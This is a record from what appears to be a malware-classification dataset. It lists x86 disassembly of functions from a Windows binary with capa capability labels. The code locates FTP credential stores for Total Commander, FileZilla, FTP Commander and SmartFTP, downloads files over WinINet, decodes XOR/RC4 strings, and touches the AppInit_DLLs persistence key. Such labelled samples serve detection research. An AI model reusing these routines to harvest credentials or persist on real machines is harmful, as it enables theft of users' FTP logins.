joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403c0d
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.0040bf5d
lea eax, [ebp - 0x100]
mov ebx, str.SOFTWAREGhislerTotal_Commander
push eax
mov edx, ebx
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x6c]
push eax
mov edx, str.ftpininame
call fcn.0040550e
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x100]
push eax
lea edi, [ebp - 0x308]
mov eax, 0x80000001
call fcn.004085bb
add esp, 0xc
cmp eax, 0xffffffff
je 0x403ca6
test eax, eax
jbe 0x403ca6
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004039e7
pop ecx
pop ecx
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp dword [ebp - 8], 0
jne 0x403dfb
lea eax, [ebp - 0x40]
push eax
mov edx, str.totalcmd
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x9c]
push eax
mov edx, str.totalcommander
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x54]
push eax
mov edx, str.ghisler
call fcn.0040550e
and dword [ebp - 4], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
pop ecx
mov dword [ebp - 0x28], 0x24
mov dword [ebp - 0x24], 0x1a
mov dword [ebp - 0x20], 0x26
mov dword [ebp - 0x1c], 0x23
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov edi, dword [ebp + eax*4 - 0x28]
lea eax, [ebp - 0x308]
push eax
xor eax, eax
push eax
push eax
push edi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x403d7c
cmp edi, 0x24
jne 0x403d57
xor edi, edi
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.004039a0
add esp, 0xc
mov word [ebp - 0x302], di
jmp 0x403d59
xor edi, edi
push edi
push edi
push edi
lea eax, [ebp - 0xc]
push eax
push 0x403bbc
push 2
push 3
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.00408374
add esp, 0x24
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jb 0x403d15
cmp dword [ebp - 8], 0
jne 0x403dfb
lea eax, [ebp - 0xb8]
push eax
mov edx, ebx
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x40]
push eax
mov edx, str.installdir
call fcn.0040550e
pop ecx
push esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xb8]
push eax
lea edi, [ebp - 0x308]
mov eax, 0x80000001
call fcn.004085bb
add esp, 0xc
cmp eax, 0xffffffff
je 0x403df7
test eax, eax
jbe 0x403df7
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004039a0
add esp, 0xc
cmp dword [ebp - 8], 0
jbe 0x403e07
mov esi, dword [ebp - 0xc]
call fcn.00403395
jmp 0x403e10
push dword [ebp - 0xc]
call fcn.0040befa
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4040e4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push esi
lea eax, [ebp - 0x30]
push edi
push eax
mov edx, str.filezilla
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x30]
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0040bf5d
xor edi, edi
lea eax, [ebp - 0x238]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x404164
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x403e15
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00408374
add esp, 0x24
inc edi
cmp edi, 3
jb 0x404129
cmp dword [ebp - 4], esi
jbe 0x404179
mov esi, dword [ebp - 8]
call fcn.00403395
jmp 0x404182
push dword [ebp - 8]
call fcn.0040befa
pop ecx
pop edi
pop esi
leave
ret

Function at 0x404186
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
push edi
lea eax, [ebp - 0x100]
push eax
call fcn.0040bf36
mov cl, byte [ebp - 0xff]
xor cl, byte [ebp - 0x100]
mov dl, byte [ebp - 0xfe]
or cl, 0x50
xor eax, eax
test dl, dl
mov byte [ebp - 2], 0
je 0x4041da
push esi
lea esi, [ebp - 0xfe]
xor dl, cl
movzx dx, dl
mov word [edi + eax*2], dx
inc eax
inc esi
mov dl, byte [esi]
test dl, dl
jne 0x4041c7
pop esi
and word [edi + eax*2], 0
leave
ret
Function at 0x404460
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov ecx, edi
call fcn.0040c424
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x404512
lea ecx, [ebp - 0x100]
mov eax, edi
call fcn.0040c2f3
test al, al
je 0x404512
xor eax, eax
test esi, esi
jle 0x4044a9
xor byte [ebp + eax - 0x100], 0x5c
inc eax
cmp eax, esi
jl 0x40449c
mov bl, byte [ebp - 0x100]
cmp bl, 0xff
jne 0x4044c2
mov bl, byte [ebp - 0xfe]
lea eax, [ebp - 0xfd]
jmp 0x4044c8
lea eax, [ebp - 0xff]
movzx ecx, byte [eax]
lea ecx, [eax + ecx + 1]
movzx eax, bl
lea edx, [eax + ecx]
lea esi, [ebp + esi - 0x100]
cmp edx, esi
ja 0x404512
cmp eax, dword [ebp + 8]
jl 0x404512
cmp byte [ebp - 0x100], 0xff
jne 0x4044f4
add ecx, dword [ebp + 8]
sub bl, byte [ebp + 8]
movzx eax, bl
xor edx, edx
test eax, eax
jle 0x40450b
movzx si, byte [edx + ecx]
mov word [edi + edx*2], si
inc edx
cmp edx, eax
jl 0x4044fd
and word [edi + eax*2], 0
jmp 0x404514
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x404a8f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
lea eax, [ebp - 0x38]
push edi
push eax
mov edx, str.ftpcommander
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x38]
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0040bf5d
xor edi, edi
lea eax, [ebp - 0x240]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x404b0f
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x4047c9
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.00408374
add esp, 0x24
inc edi
cmp edi, 3
jb 0x404ad4
cmp dword [ebp - 4], esi
jbe 0x404b24
mov esi, dword [ebp - 8]
call fcn.00403395
jmp 0x404b2d
push dword [ebp - 8]
call fcn.0040befa
pop ecx
pop edi
pop esi
leave
ret
Function at 0x405133
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040bf5d
lea eax, [ebp - 0x128]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settingsgeneral_favorites
call fcn.0040550e
lea eax, [ebp - 0xb8]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settings_backup
call fcn.0040550e
lea eax, [ebp - 0x54]
push eax
mov edx, str.personal_favorites
call fcn.0040550e
lea eax, [ebp - 0x2c]
push eax
mov edx, str.folder
call fcn.0040550e
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, 0x80000001
call fcn.004085bb
add esp, 0xc
cmp eax, 0xffffffff
je 0x405200
test eax, eax
jbe 0x405200
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x538]
push eax
call fcn.00404e78
pop ecx
pop ecx
add esi, 4
dec dword [ebp - 4]
jne 0x4051b8
cmp dword [ebp - 8], 0
jbe 0x405218
mov esi, dword [ebp - 0xc]
call fcn.00403395
jmp 0x405221
push dword [ebp - 0xc]
call fcn.0040befa
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4069fa
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406a2d
xor eax, eax
jmp 0x406a62
push edi
push dword [ebp + 0x14]
call fcn.0040544e
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x406d6f
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x406d81
xor eax, eax
pop esi
ret
push esi
push esi
push esi
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [0x4114d4], eax
pop esi
mov eax, ecx
ret
Function at 0x407083
Capabilities:
Clear file content
Delete file
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x4070c5
mov eax, dword [ebp + 0x14]
or dword [eax], 1
xor eax, eax
jmp 0x407194
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov edi, dword [ebp + 0x14]
jne 0x4070e2
push dword [ebp - 4]
or dword [edi], 2
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
push ebx
push 0x80000000
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x4114d4]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x10], esi
jne 0x407113
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [edi], 4
jmp 0x407190
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
lea eax, [ebp - 8]
push eax
mov edi, 0x800
push edi
lea eax, [ebp - 0x818]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x407166
cmp dword [ebp - 8], ebx
je 0x407170
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x818]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x818]
push eax
push dword [ebp - 0x10]
call esi
cmp eax, 1
mov dword [ebp - 0xc], eax
je 0x40713a
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
inc eax
cmp dword [ebp - 0xc], eax
je 0x407192
mov eax, dword [ebp + 0x14]
or dword [eax], 4
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x4072b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push esi
mov word [ebp - 0x48], 0x30
mov word [ebp - 0x46], 0x31
mov word [ebp - 0x44], 0x32
mov word [ebp - 0x42], 0x33
mov word [ebp - 0x40], 0x34
mov word [ebp - 0x3e], 0x35
mov word [ebp - 0x3c], 0x36
mov word [ebp - 0x3a], 0x37
mov word [ebp - 0x38], 0x38
mov word [ebp - 0x36], 0x39
mov word [ebp - 0x34], 0x61
mov word [ebp - 0x32], 0x62
mov word [ebp - 0x30], 0x63
mov word [ebp - 0x2e], 0x64
mov word [ebp - 0x2c], 0x65
mov word [ebp - 0x2a], 0x66
mov word [ebp - 0x28], 0x67
mov word [ebp - 0x26], 0x68
mov word [ebp - 0x24], 0x69
mov word [ebp - 0x22], 0x6a
mov word [ebp - 0x20], 0x6b
mov word [ebp - 0x1e], 0x6c
mov word [ebp - 0x1c], 0x6d
mov word [ebp - 0x1a], 0x6e
mov word [ebp - 0x18], 0x6f
mov word [ebp - 0x16], 0x70
mov word [ebp - 0x14], 0x71
mov word [ebp - 0x12], 0x72
mov word [ebp - 0x10], 0x73
mov word [ebp - 0xe], 0x74
mov word [ebp - 0xc], 0x75
mov word [ebp - 0xa], 0x76
mov word [ebp - 8], 0x77
mov word [ebp - 6], 0x78
mov word [ebp - 4], 0x79
mov word [ebp - 2], 0x7a
call fcn.0040584a
push 7
cdq
pop esi
idiv esi
add edx, 4
je 0x4073c0
mov esi, edx
push edi
call fcn.0040584a
xor edx, edx
push 0x24
pop edi
div edi
mov ax, word [ebp + edx*2 - 0x48]
mov word [ecx], ax
inc ecx
inc ecx
dec esi
jne 0x4073a6
pop edi
and word [ecx], 0
pop esi
leave
ret
Function at 0x40772b
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push edi
xor esi, esi
push esi
mov edi, 0x80
push edi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x407876
push esi
push edi
push 2
push esi
push esi
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x407781
push 2
pop eax
jmp 0x407879
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x407876
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
je 0x407876
cmp dword [ebp - 8], edi
jne 0x407876
push esi
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
push esi
push dword [ebp - 4]
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 4]
call ebx
mov eax, dword [ebp - 0x14]
push esi
push esi
push eax
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call ebx
call fcn.0040584a
cdq
mov ecx, 0x3e8
idiv ecx
mov eax, dword [ebp - 0x140]
push esi
push esi
push dword [ebp - 0x10]
push dword [ebp - 4]
lea eax, [eax + edx - 0x1f4]
mov dword [ebp - 0x140], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x407879
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40787e
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x800
push ebx
push ebp
mov ebp, dword [esp + 0x80c]
push esi
push edi
mov edi, 0x400
push edi
lea eax, [esp + 0x14]
xor ebx, ebx
push eax
push ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push ebp
push dword [esi*4 + 0x411038]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x419d78
push ebp
call fcn.00405526
lea eax, [esp + 0x18]
push ebp
push eax
call fcn.0040772b
add esp, 0x10
test eax, eax
je 0x407922
cmp eax, 1
jne 0x4078ea
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [eax + ebx + 0xf4240]
push eax
push 4
jmp 0x407901
cmp eax, 2
jne 0x407909
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [eax + ebx + 0xf4240]
push eax
push 5
call fcn.0040a89c
add esp, 0xc
inc esi
add ebx, 0xf4240
cmp esi, 2
jl 0x4078a5
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x800
ret
lea eax, [esi + 1]
jmp 0x407917
Function at 0x407927
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040d5f0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
neg eax
sbb eax, eax
neg eax
pop esi
leave
ret

Function at 0x407c08
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x120
push esi
push edi
xor eax, eax
call fcn.004073c7
mov edi, eax
mov eax, dword [0x41a8cc]
test eax, eax
jne 0x407c54
lea eax, [esp + 0xd8]
push eax
xor eax, eax
push str.TimeCorr
inc eax
call fcn.00407eef
test eax, eax
pop ecx
pop ecx
je 0x407c54
lea eax, [esp + 0xd8]
call fcn.00405621
mov dword [0x41a8cc], eax
add eax, edi
xor edx, edx
mov ecx, 0x4b0
div ecx
lea esi, [esp + 0x70]
mov edi, eax
test edi, edi
jne 0x407c74
mov byte [esp + 0x70], 0x30
mov byte [esp + 0x71], al
jmp 0x407cb2
mov ecx, 0x3b9aca00
cmp edi, ecx
jae 0x407c8e
mov eax, ecx
push 0xa
xor edx, edx
pop ecx
div ecx
mov ecx, eax
cmp edi, ecx
jb 0x407c7d
jmp 0x407cac
xor edx, edx
mov eax, edi
div ecx
push 0xa
mov dl, al
imul eax, ecx
add dl, 0x30
sub edi, eax
mov byte [esi], dl
mov eax, ecx
xor edx, edx
pop ecx
div ecx
inc esi
mov ecx, eax
test ecx, ecx
jne 0x407c8e
mov byte [esi], cl
cmp byte [esp + 0x70], 0
mov edx, str.__scMMdj490_0_Osd
lea eax, [esp + 0x70]
je 0x407cc8
inc eax
cmp byte [eax], 0
jne 0x407cc2
mov cl, byte [edx]
mov byte [eax], cl
inc eax
inc edx
test cl, cl
jne 0x407cc8
xor edi, edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], 0x67452301
mov dword [esp + 0x24], 0xefcdab89
mov dword [esp + 0x28], 0x98badcfe
mov dword [esp + 0x2c], 0x10325476
lea eax, [esp + 0x70]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407d00
lea ecx, [esp + 0x70]
sub eax, ecx
dec eax
mov edx, eax
cmp edx, edi
jle 0x407d28
push edx
push ecx
lea ecx, [esp + 0x20]
push ecx
shl eax, 3
xor ecx, ecx
call fcn.0040bd74
add esp, 0xc
lea eax, [esp + 8]
push eax
lea esi, [esp + 0x1c]
call fcn.0040be15
pop ecx
xor ecx, ecx
mov dl, byte [esp + ecx + 8]
mov al, dl
shr al, 4
cmp al, 0xa
movzx ax, al
jae 0x407d50
add ax, 0x30
jmp 0x407d54
add ax, 0x57
mov word [ebx + ecx*4], ax
movzx eax, dl
and eax, 0x8000000f
jns 0x407d67
dec eax
or eax, 0xfffffff0
inc eax
cmp al, 0xa
movzx ax, al
jae 0x407d75
add ax, 0x30
jmp 0x407d79
add ax, 0x57
mov word [ebx + ecx*4 + 2], ax
inc ecx
cmp ecx, 0x10
jl 0x407d39
mov word [ebx + 0x40], di
xor eax, eax
pop edi
inc eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x408374
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
mov eax, 0x40ec40
call fcn.00408348
test al, al
pop ecx
pop ecx
je 0x4084eb
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4084eb
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x4083e3
push esi
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4084e2
cmp word [ebp - 0x230], 0x2e
jne 0x408411
cmp word [ebp - 0x22e], si
je 0x4084ca
cmp word [ebp - 0x22e], 0x2e
jne 0x408411
cmp word [ebp - 0x22c], si
je 0x4084ca
mov eax, dword [ebp - 0x25c]
and eax, 0x10
je 0x408422
test byte [ebp + 0x14], 2
jne 0x40842c
cmp eax, esi
jne 0x408470
test byte [ebp + 0x14], 4
je 0x408470
cmp dword [ebp + 0x10], 0
jbe 0x408470
push dword [edi + esi*4]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x40844e
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x408432
jmp 0x408470
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test al, al
je 0x4084e2
cmp dword [ebp + 0x28], 0
je 0x408470
push dword [ebp + 0x28]
call ebx
test byte [ebp - 0x25c], 0x10
je 0x4084ca
test byte [ebp + 0x14], 1
je 0x4084ca
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x230]
call fcn.00408348
test al, al
pop ecx
pop ecx
je 0x4084ca
cmp dword [ebp + 0x24], 0
je 0x4084a5
push dword [ebp + 0x24]
call ebx
push dword [ebp + 0x28]
lea eax, [ebp - 0x464]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push eax
call fcn.00408374
add esp, 0x24
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4083c7
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4084f0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x408584
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40857b
cmp dword [ebp - 8], edi
jne 0x40857b
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x40853a
mov dword [esi], edi
mov al, 1
jmp 0x408586
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x40857b
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40856d
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x408536
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x4085bb
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4085f8
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.00408589
add esp, 0x10
mov ebx, eax
jmp 0x4085fb
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x408671
test bl, 1
jne 0x408671
cmp dword [ebp - 4], 1
je 0x408611
cmp dword [ebp - 4], 2
jne 0x408671
xor ecx, ecx
cmp ebx, ecx
jne 0x40861c
mov word [edi], cx
jmp 0x40866d
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x408633
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x408671
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x40866d
cmp dword [ebp - 4], 2
jne 0x40866d
push edi
call fcn.0040c090
mov esi, eax
test esi, esi
pop ecx
je 0x40865a
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x40865d
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x408674
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x408730
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408776
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.004069bd
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x408784
xor eax, eax
jmp 0x4087b9
lea eax, [ebp - 0x804]
push eax
call fcn.0040544e
cmp eax, 4
pop ecx
jbe 0x4087ae
push 1
push 0x40ea48
push str.AppInit_DLLs
push ebx
push edi
call fcn.004069fa
add esp, 0x14
jmp 0x4087b9
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret